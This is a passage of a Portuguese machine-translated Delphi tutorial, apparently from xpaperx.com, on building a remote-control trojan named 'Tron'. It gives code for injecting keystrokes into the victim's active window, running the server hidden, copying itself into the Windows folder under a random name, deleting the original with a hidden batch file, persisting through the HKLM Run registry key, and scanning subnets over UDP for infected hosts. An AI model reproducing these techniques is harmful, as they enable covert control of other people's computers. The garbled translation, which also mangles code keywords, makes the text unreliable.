fixe a propriedade de Extensão da Imagem para Retificar assim o boné de tela ajustará  

isto bem nesta Imagem.  

Selecione seu Form2 novamente e fixe sua propriedade de BorderStyle a bsNone para  

remova a Windows topo borda clássica.  

Nós precisaremos reconhecer agora se o arquivo que nós recebemos é  

nosso boné de tela ou não. Volte para seu Unit1 e para o ClientSocket  

Evento de OnRead. Enrole até onde nós temos nosso caso bloco de declaração:  

' CSReceivingFile: ' - e olha para a seção onde nós recebemos  

nosso arquivo. O pedaço depois de TheFileSize = 0, onde nós fixamos nosso interruptor atrás  

para CSIdle e livra nosso TFileStream. Aqui, nós precisamos somar este código:  

se FileExists (' £ £3x£s2$1a29.jpg ') = Retifique então  

comece / / O arquivo que nós recebemos era um boné de tela.  

FORM2.IMAGE1.PICTURE.LOADFROMFILE (' £ £3X£S2$1A29.JPG ');  

Form2.Show;  

DeleteFile (' £ £3x£s2$1a29.jpg '); fim;  

É importante que você some ' Jpeg' para seus usos listam de Unit1, como nós  

vai estar trabalhando com eles aqui.  

Vá Arquivar, Salve Tudo. Salve Unit2 na mesma pasta de papéis como Unit1 de seu  

Cliente. Agora compile cada lateral de sua aplicação. Se você é  

incitado com e ' Information' encaixotam declaração sobre referências para Form2  

só trinco Sim. OK, corra e teste seu Botão. Seu Form2 estourará  

para cima mostrar o boné de tela uma vez carregou. Há uma captura você  

poderia ter notado. Quando tiver o boné de tela, você não pode adquirir liberte de  

isto. Tão atrás para nosso Unit2 de nosso Cliente..  

Crie um evento de OnClick para seu Image1 em seu Form2 e ponha nisto  

código:  

Form2.Hide;  

Crie um evento de OnKeyPress para seu Form2 e ponha naquela mesma linha.  

Isto é assim se nós apertamos uma chave ou fazemos tique-taque no boné de tela que será  

escondido. Compile e teste. Você também poderia querer somar outro Botão  

devolver o boné de tela para cima qual é fácil - só some um Botão  

e pôs: ' Form2.Show; ' no OnClick.  
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- COMO MOSTRAR UM QUADRO NA MÁQUINA REMOTA -  

Esta característica exibirá um quadro de sua especificação no  

sistema remoto no centro da tela.  

O CLIENTE:  

Coloque um Botão e um Edite caixa em sua Forma. Mude a Legenda de  

o Botão para: ' P&ic de espetáculo ' (se você quer mudar esta legenda, há pouco,  

ajuste o código para vestir sua legenda nova) e muda o Edite caixa  

nomeie a PicPath. Aqui é o evento de OnClick para nosso Botão:  

procedimento TForm1.Button7Click(Sender: TObject); comece  

se Button7.Caption = ' p&ic de Espetáculo ' então  

comece  

CLIENTSOCKET1.SOCKET.SENDTEXT (' <SHOWTHPIC> ' + PICPATH.TEXT);  

Button7.Caption := ' &Remove Pic'; fim  

outro comece  

CLIENTSOCKET1.SOCKET.SENDTEXT (' <REMOVEPIC> ');  

Button7.Caption := ' p&ic de Espetáculo '; fim; fim;  

Este Botão acontece para ser meu 7º Botão - se lembre de ajustar para seu  

própria aplicação. É uma idéia semelhante a nosso open/close Botão de CD-ROM.  

O SERVIDOR:  

Primeiramente nós trabalharemos no código por mostrar o quadro. Aqui é o  

OnClientRead evento identifier código:  

se Pos (' <SHOWTHPIC> ', Buf) = 1 então  

comece  

Delete(Buf, 1, 11); / / Você precisará declarar o global  

GlobalBuf := Buf; / / variável de fio ' GlobalBuf' como nós  

ShowThePicture; / / estará usando isto em outro procedimento.  

fim;  

Nós apagamos a etiqueta, nomeie GlobalBuf com os conteúdos de Buf  

Você terá notado que nós estamos carregando o quadro sobre uma Imagem em  

Form2. Assim vá Arquivar, Novo, Forma. Ponha um componente de Imagem em seu Form2  

e fixou seu Alinhe propriedade a alClient. Remova a borda disto  

Forma (jogo o Form2 propriedade de BorderStyle para bsNone) e fixou o  

Posicione propriedade a poScreenCenter. Se você fixasse o FormStyle  

propriedade de seu Form2 para fsStayOnTop, esta Forma que mostra o quadro  

sempre esteja em cima. Também, fixe o propriedade de Extensão de sua Imagem para  

Verdadeiro.  

Agora pôr dentro nosso remova código de quadro. Há pouco volte seu  

OnClientRead em seu Unit1 e pôs nisto:  

se Pos (' <REMOVEPIC> ', Buf) = 1 então  

comece  

Form2.Hide;  

Socket.SendText (' <THERESULT>Picture Removed. '); fim;  

Antes de você compilasse: Arquive, Salve Tudo–e salva o Unit2 dentro o mesmo  

pasta de papéis como seu Unit1. Agora compile tudo, e se incitou com um  

Informações encaixotam sobre referências a Unit2, clique Sim. Agora tudo você  

precise fazer seja posto o local (POR EXEMPLO: c:\pic.jpg ou c:\pic2.bmp) de  

o quadro para mostrar na máquina remota em seu PicPath e trinco  

seu Botão.  

- COMO JOGAR UM ARQUIVO DE .WAV -  

Use este API funcionam:  

SNDPLAYSOUND(PCHAR(WAVPATHANDFILENAME), SND_ASYNC);  

Você precisaria enviar o caminho de .WAV e nome de arquivo (POR EXEMPLO:  

c:\MyMusicFile.wav) e então entra as informações em um fio  

variável e passa isto como um PChar como o primeiro parâmetro disto  

função. Devolverá Verdadeiro se próspero.  

- COMO DIGITAR CHAVES PARA O SISTEMA REMOTO -  

Isto lhe permitirá digitar algo em um Edite e tenha tudo que  

você digita, digitou na máquina remota na janela ativa. O  

janela ativa que é qualquer janela está em foco àquele ponto dentro  

tempo. Nós teremos dois modos: ‘typer modo ' em, e ‘typer modo ' fora,  

e nós usaremos um CheckBox para trocar entre os modos (isto vai  

faça sentido mais em um tempo–ou se você usou Tron que você saberá  

o tipo). Se nós acendermos a modo de typer, nós poderemos digitar para  

a máquina remota.  

Para esta característica, nós estaremos usando um componente para o qual você precisará  

carregue SendKeys chamado. Eu caminharei você por instalar isto.  

Primeiramente carregue o componente de qualquer um dos URLs seguintes:  

http://www.torry.net/vcl/system/keys/sendkeys.zip  

http://www.xpaperx.com/files/sendkeys.zip  

Se você tiver alguns Delphis correndo, economize sua aplicação e fim  

eles abaixo aparte de um - e vai Arquivar, Feche Tudo–assim você é  

partido com um ‘' em branco corrida de Delphi.  
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Agora unzip o SendKeys.zip em uma pasta de papéis em algum lugar em seu sistema e  

então aba para Delphi. Vá para Componente, Instale Componente, e Folheie  

para o nome de arquivo de Unidade. A Unidade você desejo é um SendKeys.pas e isto  

esteja em algum lugar em sua pasta de papéis (onde você extraiu o arquivo de vigor  

para)–você poderia ter que passar por alguns subdirectories para adquirir a isto.  

Algo como: ‘\LIBRARY\DELPHI\COMPONENTER\SENDKEYS\SENDKEYS.PAS '.  

Abra a Unidade e então clique o OK para instalar o componente. Um  

caixa de confirmação se aparecerá, clique Sim. Agora uma caixa de informação,  

clique o OK–e Delphi abrirá o SendKeys.pas inicialmente. A isto  

organize o componente é instalado, assim vá Arquivar, Feche Tudo. Tenha certeza  

você clica Sim na caixa de confirmação que se aparecerá declarando aproximadamente  

mudanças econômicas para projetar dclusr.  

Agora volte para sua pasta de papéis de SendKeys e passe por cada pasta de papéis até  

você adquire onde os arquivos são. Haverá um arquivo de Sendkeys.dcu dentro  

lá. Leve uma cópia deste arquivo e cole em pasta de papéis de Delphi\Lib.  

Poderia ser algo como Delphi6\Lib, ou Delphi\Delphi5\Lib–isto  

há pouco depende como você instalou Delphi. Procure a pasta de papéis se  

você não está seguro.  

Se você agora olhar debaixo de sua aba de Amostras de sua Paleta de Componente você  

veja o componente novo. Agora atrás para nossa aplicação–aberto ambos  

partes novamente (o Cliente e Servidor).  

O CLIENTE:  

Coloque um Edite e uns componentes de CheckBox em sua Forma. Mude o  

Edite Nome a TyperBox. Mude o Legenda de seu CheckBox a ‘FORA ' e  

crie um evento de OnClick para isto com o código seguinte:  

procedimento TForm1.CheckBox1Click(Sender: TObject);  

comece  

se CheckBox1.Checked = RETIFIQUE então  

comece / / nós queremos estar em modo de typer  

CHECKBOX1.CAPTION := ' EM! ';  

DisableComponents; / / chame meu procedimento para incapacitar componentes  

ClientSocket1.Socket.SendText (' <TYPEMODEA> '); / / envie modo UM  

fim  

outro comece / / volta o modo de typer fora  

CHECKBOX1.CAPTION := ' OFF';  

ClientSocket1.Socket.SendText (' <TYPEMODEB> '); / / envie para modo B  

EnableComponents; / / chame meu procedimento para os habilitar novamente  

fim; fim;  

Assim quer dizer que está acontecendo aqui, quando nós clicamos nosso CheckBox, a legenda,  

vire a ‘EM ' e um pedido estar em modo de typer será enviado  

o Servidor enviando a etiqueta: ‘<TYPEMODEA> '. Se nós clicamos o  

CheckBox novamente, o modo de typer será virado fora enviando o  

‘<TYPEMODEB> ' etiquetam e nossa legenda de CheckBox mudará atrás para FORA. EU  

fortemente recomende implementar o incapacite e habilite componentes  

procedimentos detalharam na seção: COMO CARREGAR UM ARQUIVO DO  

SERVIDOR.  

Você escreveria um procedimento que contém código para fixar os Habilitaram  

propriedade de todos os componentes em sua Forma para Falso, e o outro  

procedimento para fixar o deles/delas Permitiu a Retificar atrás.  

OK, Nosso TyperBox que evento de OnKeyPress deveria se parecer,:  
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procedimento TForm1.TyperBoxKeyPress(Sender: TObject; var Teclam: Chamusque); var  

KeySend: fio; comece  

se CheckBox1.Checked = RETIFIQUE então  

comece  

KeySend := Chave; / / há pouco nomeia KeySend com a chave apertada.  

ClientSocket1.Socket.SendText(KeySend); se (Chave = #13) então / / se nós apertamos entre então há pouco claro nosso  

comece / / TyperBox e acrescenta as chaves a nosso Memorando.  

Memo1.Lines.Add (' * * Chaves Digitaram: ' TyperBox.Text);  

TyperBox.Clear;  

Chave := #0; / / isto só adquire liberte de um som de ding você  

fim; / / adquira quando você aperta entre dentro um Edite.  

fim; fim;  

Aqui nós estamos enviando há pouco as chaves digitadas em nosso TyperBox Edit para o  

Servidor.  

O SERVIDOR:  

Coloque seu componente de SendKeys em sua Forma de Servidor. Agora, nós precisaremos  

acrescentar um interruptor novo a nosso tipo de TServerStatus. Some o ‘SSTyperMode '  

como mostrado:  

TServerStatus = (SSIdle, SSReceivingFile, SSTyperMode);  

Agora vá para seu evento de OnClientRead, e some estes etiquetam identifiers:  

se Pos (' <TYPEMODEA> ', Buf) = 1 então  

comece  

Delete(Buf, 1, 11);  

SState := SSTyperMode; fim; se Pos (' <TYPEMODEB> ', Buf) = 1 então  

comece  

SState := SSIdle; fim;  

E nosso código para nosso interruptor novo é o seguinte. Ponha isto em seu caso bloco de declaração:  

SSTyperMode: comece  

SendKeys1.SendKeys(Buf); fim;  

E isso é isto. Aquela linha usará nosso componente de SendKeys e enviará  

qualquer Buf iguala à janela ativa. Compile e teste.  

NOTA: Se você está testando o Cliente e Servidor em seu sistema,  

quando você digita algo em seu TyperBox com seu CheckBox conferiu  

no EM posição, você criará uma volta de digitar.  

- COMO ESCONDER SUA FORMA DE SERVIDOR -  

Isto o permitirá a ter seu invisibly de corrida de Servidor. Requer  

alteração de seu arquivo de fonte de projeto atual.

A fonte de projeto é um arquivo de .DPR que contém o começo para cima código  

para sua aplicação. Vá para seu Servidor e Projeto de trinco, Visão,  

Fonte. Some a linha mostrada em tipo negrito assim:  

comece  

Application.Initialize; Application.ShowMainForm := Falso;  

Application.CreateForm(TForm1, Form1);  

Application.CreateForm(TForm2, Form2);  

Application.Run; fim.  

Agora seu Servidor correrá escondido. Compile e teste. NOTA: Você vai  

precise fechar seu Servidor por Ctrl+Alt+Del.  

- COMO TER SEU SERVIDOR EGO-INSTALE DEBAIXO DE UM NOME FORTUITO -  

Quando seu Servidor é corrido que moverá à pasta de papéis de janelas abaixo um  

nome fortuitamente gerado e começo que correm de lá.  

Nós começamos no evento de OnCreate de nossa Forma. O seguinte é isso que  

este evento olhará como:  

procedimento TForm1.FormCreate(Sender: TObject); var  

GetWinDir: ordem [0 ..255] de Serviço doméstico;  

WinDirNoSlash: fio; comece  

{1} CurrentDir := ExtractFilePath(ParamStr(0)); / / por exemplo c:\MyServer \  

{2} GetWindowsDirectory(GetWinDir, 255);  

{3} WinDirNoSlash := GetWinDir; / / por exemplo c:\windows  

WindowsDir := WinDirNoSlash + ' \ '; / / por exemplo c:\windows \  

{4} DriveOfWin := Copy(WindowsDir, 1, 3); / / por exemplo c :\  

ServerName := RandomName; / / nós escreveremos esta função dentro  

/ / um tempo. Devolverá um nome.  

{5} se (CurrentDir <> WindowsDir) então  

comece  

/ / aqui nós não estamos no dir de janelas.  

/ / cópia nosso servidor na pasta de papéis de janelas debaixo do fortuitamente  

/ / gerou nome.  

{6} CopyFile(PChar(ParamStr(0)), PChar(WindowsDir + ServerName),  

VERDADEIRO);  

/ / íntimo nossa aplicação ativando o evento de OnDestroy  

Application.Terminate; fim; fim;  

Você precisará declarar as variáveis de fio globais seguintes a  

esta fase:  

CurrentDir,  

WindowsDir,  

ServerName,  

DriveOfWin: fio;  

Se lembre isso há pouco é um encurtou abaixo modo de fazer cada como um separado  

declaração. Aqui são as explicações de ponto numeradas:  

1. isto é como nós adquirimos o caminho nosso Servidor está correndo dentro e nomeia  

CurrentDir com o resultado.  
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2. nós estamos chamando o Windows API funcionam GetWindowsDirectory que  

não surpreendentemente devolva o caminho cheio do diretório de janelas  

e nomeia para nossa ordem GetWinDir com isto.  

3. nós precisamos entrar o diretório de janelas em um fio assim nós nomeamos  

os conteúdos de ordem para o fio WinDirNoSlash. Eu chamei isto  

WinDirNoSlash variável porque o caminho devolveu por  

GetWindowsDirectory será algo como: ' c:\windows ' sem  

parte de trás-golpe no fim - assim o próximo passo é nomear nosso atual  

WindowsDir com o valor de WinDirNoSlash e soma um ' \ '.  

4. aqui nós estamos copiando fora os primeiros 3 caráter do WindowsDir  

que será o passeio o diretório de janelas é aceso. Nós precisaremos isto  

informação para mais tarde. O próximo passo é gerar um nome fortuito  

para nosso Servidor chamando uma função que nós escreveremos em um momento.  

5. aqui nós conferimos se o diretório no que nosso Servidor é não for igual o  

diretório de janelas. Se não é igual ao diretório de janelas -  

significando nós não estamos no diretório de janelas - o entre no código  

bloqueie abaixo.  

6. ParamStr(0) é uma chamada de função que devolve o caminho e arquivo  

nome do programa executando, em nosso caso será algo como:  

c:\MyServer\Server.exe - ou qualquer nome que é. Poderia ser  

algo como a:\TronServer.exe - dependendo do nome e local  

do programa executando (seu Servidor neste caso).  

Assim nós estamos copiando nosso Servidor no diretório de janelas abaixo o  

nome fortuitamente gerado (ServerName). Nós queremos fechar e apagar agora  

a versão atual e corre a versão no diretório de janelas. O  

Evento de OnDestroy é incendiado logo antes isto seus fins de aplicação. Em  

este evento nós podemos codificar a remoção de nosso Servidor e a chamada de nosso  

servidor de diretório de janelas. Isto é terminado por criar e chamar um  

GRUPO (ou morcego) arquivo que você vai precisar saber fazer.  

Você faz isto da mesma maneira como você criaria um arquivo de texto mas com  

a extensão de .BAT. Se você como você pode tentar isto se acostumar  

criando morcego arquiva em Delphi. Crie uma aplicação nova e coloque um  

Abotoe em sua Forma com o código de OnClick seguinte:  

procedimento TForm1.Button1Click(Sender: TObject); var  

BatName: fio;  

BatFile: TextFile; / / tipo manipulava arquivos de texto.  

comece  

BatName := ' c:\MyBatFile.bat ';  

AssignFile(BatFile, BatName); / / nomeia para nosso TextFile o BatName  

Rewrite(BatFile); / / cria um arquivo novo e abre isto para escrever.  

Writeln(BatFile, ' c: '); / / escreve uma linha em nosso TextFile.  

Writeln(BatFile, ' o cd \ ');  

Writeln(BatFile, ' md NewFolder');  

CloseFile(BatFile); / / fecha nosso fim de TextFile;  

Tente que. Clicando seu Botão criarão um arquivo de morcego:  

c:\MyBatFile.bat que conterá código para createing uma pasta de papéis  

chamado ' NewFolder' em seu c :\.  

Agora que você está bem familiarizado com isso, deixa olhar a nosso  

Evento de OnDestroy:  
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procedimento TForm1.FormDestroy(Sender: TObject); var  

BatName: fio;  

BatFile: TextFile;  

ProcessInfo: TProcessInformation;  

StartUpInfo: TStartupInfo; comece  

se (CurrentDir <> WindowsDir) então  

comece  

{1} BatName := WindowsDir + ' $$33tmp6699.bat ';  

AssignFile(BatFile, BatName);  

Rewrite(BatFile);  

{-} Writeln(BatFile, ' :try ');  

{|} Writeln(BatFile, ' del " ' + ParamStr(0) + '" ');  

{|} Writeln(BatFile, ' se existe " ' +ParamStr(0)+ '" ' + ' try' de goto);  

{|} Writeln(BatFile, DriveOfWin);  

{2} Writeln(BatFile, ' o cd \ ');  

{|} Writeln(BatFile, ' o cd ' + WindowsDir);  

{|} Writeln(BatFile, ServerName);  

{|} Writeln(BatFile, ' :delbat ');  

{|} Writeln(BatFile, ' del " ' + BatName + '" ');  

{-} Writeln(BatFile, ' se existe " ' + BatName + ' delbat' de " goto);  

CloseFile(BatFile);  

{todo o código seguinte há pouco está lá correr nosso morcego escondido}  

{3} FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);  

STARTUPINFO.DWFLAGS := STARTF_USESHOWWINDOW;  

STARTUPINFO.WSHOWWINDOW := SW_HIDE; se CreateProcess(nil, PChar(BatName), nada, nada,  

Falso, IDLE_PRIORITY_CLASS, nada, nada, StartUpInfo,  

ProcessInfo) então  

comece  

CloseHandle(ProcessInfo.hThread);  

CloseHandle(ProcessInfo.hProcess); fim; fim; fim;  

Isso é muito mais simples que olha. Novamente nós estamos dizendo, se nós somos  

não na pasta de papéis de janelas, então execute o bloco de código - e aqui é  

o que está entrando em neste bloco de código:  

1. aqui nós estamos nomeando para nosso BatName o caminho de diretório de janelas e  

' $$33tmp6699.bat ' que é há pouco um nome temporário como este morcego será  

apagou quando fez seu trabalho. Eu chamei isto que como é altamente  

improvavelmente já haverá um morcego daquele nome nas janelas  

pasta de papéis. Assim BatName será nomeado algo como:  

c:\windows\$$33tmp6699.bat  

2. aqui nós estamos escrevendo este código em nosso $$33tmp6699.bat:  

:try  

del " c:\MyServer\Server.exe "  

se existe " c:\MyServer\Server.exe " goto prova  

c :\  

cd \  

c:\windows de cd \  

Assdfdemsdf.exe  

:delbat  

del " c:\windows\$$33tmp6699.bat "  

se existe " c:\windows\$$33tmp6699.bat " goto delbat  
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Nota que eu preenchi alguns pedaços com o que eles poderiam igualar. Para  

exemplo o ' Assdfdemsdf.exe' é há pouco um exemplo de um fortuitamente  

nome gerado de nosso Servidor. Isso é bastante direto; este morcego  

há pouco apaga nosso servidor em seu local atual e nomeia, e então  

corridas nosso servidor novo. O morcego se apaga então.  

3. todo o código seguinte depois que ponto 3 seja correr nosso morcego lá  

escondido. Nós estamos usando API chama para criar um processo escondido para nosso  

morcego. Se você gostaria de dar uma olhada em detalhes neles, observe o  

' StartUpInfo' estruturam no local de MSDN. Tudo que você realmente precisa saber  

aqui para nosso propósito é que isto correrá o morcego escondido de visão.  

Agora, deixa código nossa função de RandomName:  

função TForm1.RandomName: fio; var  

NameBuf1: array[0 ..4] de fio;  

Cartas: array[0 ..2] de fio;  

NameBuf2: fio; comece  

NameBuf1[0] := ' Sfctriyc';  

NameBuf1[1] := ' Wjcuiuwe';  

NameBuf1[2] := ' R2gcater ';  

NameBuf1[3] := ' Ptdsetfo';  

NameBuf1[4] := ' Mngmeg23 ';  

Letters[0] := ' qwertyuioplkjhgfdsazxcvbnm';  

Letters[1] := ' zaqxswcdevfrbgtnhymjukilop';  

Letters[2] := ' mznxbcvlaksjdhfgqpwoeiruty';  

Randomize;  

NameBuf2 := NameBuf1[Random(5)];  

NameBuf2 := Copy(NameBuf2, 1, Random(5)) +  

Copy(Letters[Random(3)], Random(23), 3) +  

Copy(NameBuf2, 5, Random(3)); se (Length(NameBuf2) <> 8) então  

comece  

NameBuf2 := NameBuf2 + Copy(Letters[Random(3)], 10, 8,  

Length(NameBuf2)); fim;  

NameBuf2 := NameBuf2 + ' .exe '; se FileExists(WindowsDir + NameBuf2) = Falso então  

comece  

Resulte := NameBuf2; fim  

outro comece  

Resulte := ' Sfctriyc.exe'; fim; fim;  

Este é meu modo de gerar um nome fortuito. Se você pode pensar de um  

modo melhor por todos os meios escreve sua própria função mas isto faz bom  

para Tron. Inclua aquela função em sua aplicação e você está pronto  

compilar e testar. Se você quer saber o que vai em aqui porque  

você está interessado por escrito sua própria função de nome fortuita que eu vou  

explique o que eu fiz:  

Primeiramente eu nomeio para cada índice de minha ordem NameBuf1 com um nome. Isto  

possa ser qualquer coisa assim eu o sugestiono mudança pelo menos estes nomes. Então  

a próxima ordem: Cartas - tem cada índice nomeado com um diferente  

sucessão do alfabeto.  
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Neste momento o Randomize procedimento é chamado que inicia  

O gerador de número fortuito de Delphi. Você precisa chamar este procedimento  

antes de números fortuitos geradores com Acaso (), mas só chama isto  

uma vez.  

Logo, nosso NameBuf2 é nomeado com um o valor em um da ordem  

índices em NameBuf1 escolhidos fortuitamente com o Acaso (), mas só chama isto  

uma vez.  

Logo, nosso NameBuf2 é nomeado com um o valor em um da ordem  

índices em NameBuf1 escolhidos fortuitamente com o Acaso () (veja a ajuda  

em Acaso) função. Então eu nomeio NameBuf2 com mordidas fortuitas de  

índices de ordem diferentes. Se se mostra que o nome aqui não é 8  

caráter em comprimento então um pouco mais cartas são somadas.  

Logo a extensão de .EXE é somada e um cheque para ver se o nome de arquivo  

já existe é terminado. Se não existir, o nome de servidor é  

voltado desta função. Se já existe que é altamente  

improvavelmente, o nome de Servidor será há pouco Sfctriyc.exe. No evento  

que que existe isto será escrito em cima de. O odds disso realmente são  

alto assim não preocupa sobre isto. Se você ainda estiver preocupado, estenda isto  

codifique com um pouco mais se cheques de FileExists.  

- COMO TER SEU COMEÇO DE SERVIDOR CADA TEMPO OS COMEÇOS DE SISTEMAS -  

Há alguns métodos em qual ter um começo de aplicação cada  

tempo o sistema é reiniciado porém o melhor, e a maioria o profissional  

método é pôr uma chave no registro de sistema.  

Se você não estiver familiarizado com seu registro de sistema, vá Começar, Corridos,  

e tipo ' regedit'. Isto exporá o Editor de Registro de sistema  

que contém informação sobre programas e Windows. Siga isto  

caminho fazendo tique-taque em cada pasta de papéis:  

HKEY_LOCAL_MACHINE  

Software  

Microsoft  

Windows  

CurrentVersion  

E então seleciona a pasta de papéis de Corrida - você verá todos os programas que  

corra quando suas botas de sistema. Vá Editar, Novo, Valor de Fio e digita  

alguns nomeiam. Agora trinco certo no nome e seleciona modifique. Digite o  

caminho de um programa, POR EXEMPLO: c:\command.com - e clica o OK. Se você fosse  

reinicie seu computador nesta fase, command.com seria corrido quando  

Windows começa. O truque é criar um valor de fio aqui para seu  

Programmatically de aplicação de servidor, assim deixa começo que faz que (você  

possa apagar agora a propósito aquele fio):  

Mova atrás a seu evento de OnCreate. Só debaixo da linha onde você tem  

copiado seu Servidor ao diretório de janelas, ponha este código:  

Registro := TRegistry.Create;  

REGISTRY.ROOTKEY := HKEY_LOCAL_MACHINE;  

Registry.OpenKey (' Software\Microsoft\Windows\CurrentVersion\Run ',  

Verdadeiro);  

Registry.WriteString (' MyServerStringName', WindowsDir +  

ServerName);  

Registry.CloseKey;  

Registry.Free;  

Você deveria pôr isto logo antes a linha de Application.Terminate. Também,  

você precisará declarar uma variável local: Registro: TRegistry; - e  

some ' Registry' para sua lista de usos.  
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Você pode compilar agora e pode testar que - e confere o Registro de Windows  

Editor e olha para a chave de Corrida para ver o que nós fizemos lá. Nota  

que você quer mudar MyServerStringName a algo obviamente  

mais satisfatório.  

O que vai em aqui: Nós estamos utilizando o VCL TRegistry Objeto de Delphi  

e suas propriedades e métodos para somar nosso valor de fio para o  

registro. Primeiramente nós criamos o TRegistry Object para uso. Então nós fixamos  

o RootKey, e então abre a chave de Corrida que nós queremos somar um valor de fio  

para. Nós abrimos nossa chave com o método de OpenKey de TRegistry. O primeiro  

parâmetro requer o caminho, e o segundo um valor de Boolean.  

Verdadeiros meios especificando só cria a chave se necessário.  

Logo nós escrevemos nosso fio na chave aberta, e então fecha a chave.  

Finalmente nós livramos nosso TRegistry Object que destrói e livra seu  

memória associada.  

- COMO CONTINUAR A PROGRAMAR UM ESCÂNER PARA SEU SERVIDOR (UDP) -  

Para esta característica nós estaremos usando um protocolo diferente: UDP - o qual  

postos para Usuário Protocolo de Datagram. É um protocolo de connectionless  

significando nós não precisamos esperar por uma conexão cada tempo, nós há pouco podemos  

envie um pacote e eles passem para a próxima máquina e enviem outro  

pacote.  

Nós estaremos usando componentes de UDP aqui - o qual o Indy Componente Apartamento  

provê. Algumas versões de Delphi contêm os componentes de Indy porém  

se você estiver correndo uma versão de Delphi que não faz, você pode carregar  

eles do local seguinte:  

http://www.nevrona.com/Indy/downloads/indy8_00_23.exe  

Declara é para Delphi 6 mas trabalha bom com Delphi 5.  

Carregue a seu diretório de Delphi e instale. Você deveria fechar qualquer  

exemplos correntes de Delphi antes de instalar.  

Agora que você instalou os componentes de Indy, Delphi aberto novamente  

e haverá algumas abas de Indy novas em sua Paleta de Componente. Deixa  

passe para programar seu Servidor com estes componentes novos:  

O SERVIDOR:  

No lado de Servidor você precisaria um IdUDPServer componente escutar  

para pacotes de UDP em um certo porto, e se recebe um pacote - para  

mande de volta uma resposta. Isto vai tudo seja feito no evento de OnUDPRead.  

Também é uma idéia boa para somar o componente de IdAntiFreeze sua Forma  

com sua propriedade de OnlyWhenIdle fixaram Retificar. Isto é um útil  

componente como impede para sua aplicação de gelar.  

O ESCÂNER:  

Aqui você precisaria a buid uma aplicação de escâner. Você pode usar o  

IdUDPClient para enviar os pacotes a um certo subnet de um IP -  

e então incrementa o último dígito de subnet antes da 1 e envia outro pacote  

para aquela máquina em uma volta.  

Você poderia usar o componente de IdUDPServer novamente, mas há pouco tem isto  

escute para pacotes de UDP no mesmo porto como seu Servidor envia o  

respostas atrás - e acrescenta as respostas a um Memorando.  
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- GORJETAS E TRUQUES -  

REDUZINDO O TAMANHO DE SEU SERVIDOR:  

Faça sua Forma tão pequeno quanto possível. Uma Forma maior leva mais  

bytes quando compilou. Fixe a propriedade de Altura a 28 e Largura para 112.  

Também, remova a biblioteca de Diálogos dos usos lista se você não tiver  

usado qualquer diálogo.  

INCAPACITANDO O MAXIMIZE ÍCONE DE BORDA DE SUA FORMA:  

Selecione o branco ' [+] ' caixa próximo à propriedade de BorderIcons para trazer  

abaixo as colocações. Fixe o biMaximize para Falso.  

DESAPROVE SUA FORMA A SER CLASSIFICADA SEGUNDO O TAMANHO PELO USUÁRIO:  

Fixe a propriedade de BorderStyle a bsSingle.  

SOME INFORMAÇÃO DE VERSÃO DE ARQUIVO:  

Vá Projetar, Opções.. e clica a Versão aba de Info. Confira o  

caixa que diz: " Inclua informação de versão em projeto " - e abastecimento  

fora as caixas e compila.  

Se você agora trinco certo em seu .EXE e vai para Propriedades e Versão  

você verá a informação que você há pouco incluiu.  

CRIANDO SEU PRÓPRIO ÍCONE:  

Nomear um ícone novo a sua aplicação vão Projetar, Opções, e  

debaixo da aba de Aplicação você pode clicar o Ícone de Carga... botão e  

paste para um arquivo de .ICO (arquivo de ícone).  

Criar seu próprio ícone de fato você pode usar o Delphi Imagem Editor.  

Localize seu Borland aba de Delphi por Começo / Programas e abre o  

Editor de imagem.  

Se você vai Arquivar, Novo, Arquivo de Ícone - você pode projetar seu próprio ícone  

usando as ferramentas de pintura. Economize e então carregue seu .ICO economizado em  

sua aplicação.  

Se você tem um arquivo de .EXE com um ícone que você gostaria de usar para seu  

próprio projeto, você pode usar software de extração de ícone para extrair o .ICO  

arquive do EXE. Nós recomendamos que um programa chamasse Filtro de Ícone para isto  

como é freeware e é muito rápido a extrair o arquivo de ícone. É  

prontamente disponível de Download.com - só procura para Filtro de Ícone.  

- CONCLUSÃO -  

Sempre se lembre completamente para de teste suas aplicações, especialmente se  

você está planejando lançar software.  

Se você gostasse de promover quaisquer de seus programas em nosso  

Seção de atestados " de nosso local, por favor e-mail queries@xpaperx.com  

com uma explicação do que o programa faz, e uma ligação para  

carregando. Se você prover um atestado satisfatório de paperX, nós vamos  

seja anfitrião de seu arquivo em nosso servidor de teia. Obrigado.  

ATUALIZAÇÕES PARA DELPHI 7:  

Delphi 7 não vem com o ClientSocket e ServerSocket  

componentes instalaram. Aqui é como instalar estes componentes dentro  

Delphi 7:  

Primeiramente, se você estiver correndo dois exemplos de Delphi, economize seu  

projetos e íntimo abaixo assim você é partido com só o um  

exemplo de Delphi abre.  

Clique Componente (na barra de título), e então " Instala Pacotes..."  

Isto poderia levar alguns segundos para se aparecer uma caixa intitulou " Projeto  

Opções ". Agora clique o Some botão, e folheie seus passeios para seu  

Diretório de \Bin. Isto será onde quer que você instalasse Delphi.  

Normalmente você há pouco teria que subir um nível para achar isto. Se você  

Delphi instalado como C:\Delphi7, a pasta de papéis de \Bin será localizada a  

C:\Delphi7\Bin.  

Dentro do diretório de \Bin, você está procurando um arquivo chamado:  

dclsockets70.bpl ". Selecione e faça tique-taque Aberto. Agora clique o OK. Se você  

agora vá para sua aba de Internet da Paleta de Componente, você verá  

dois componentes novos, o ClientSocket e componentes de ServerSocket.  

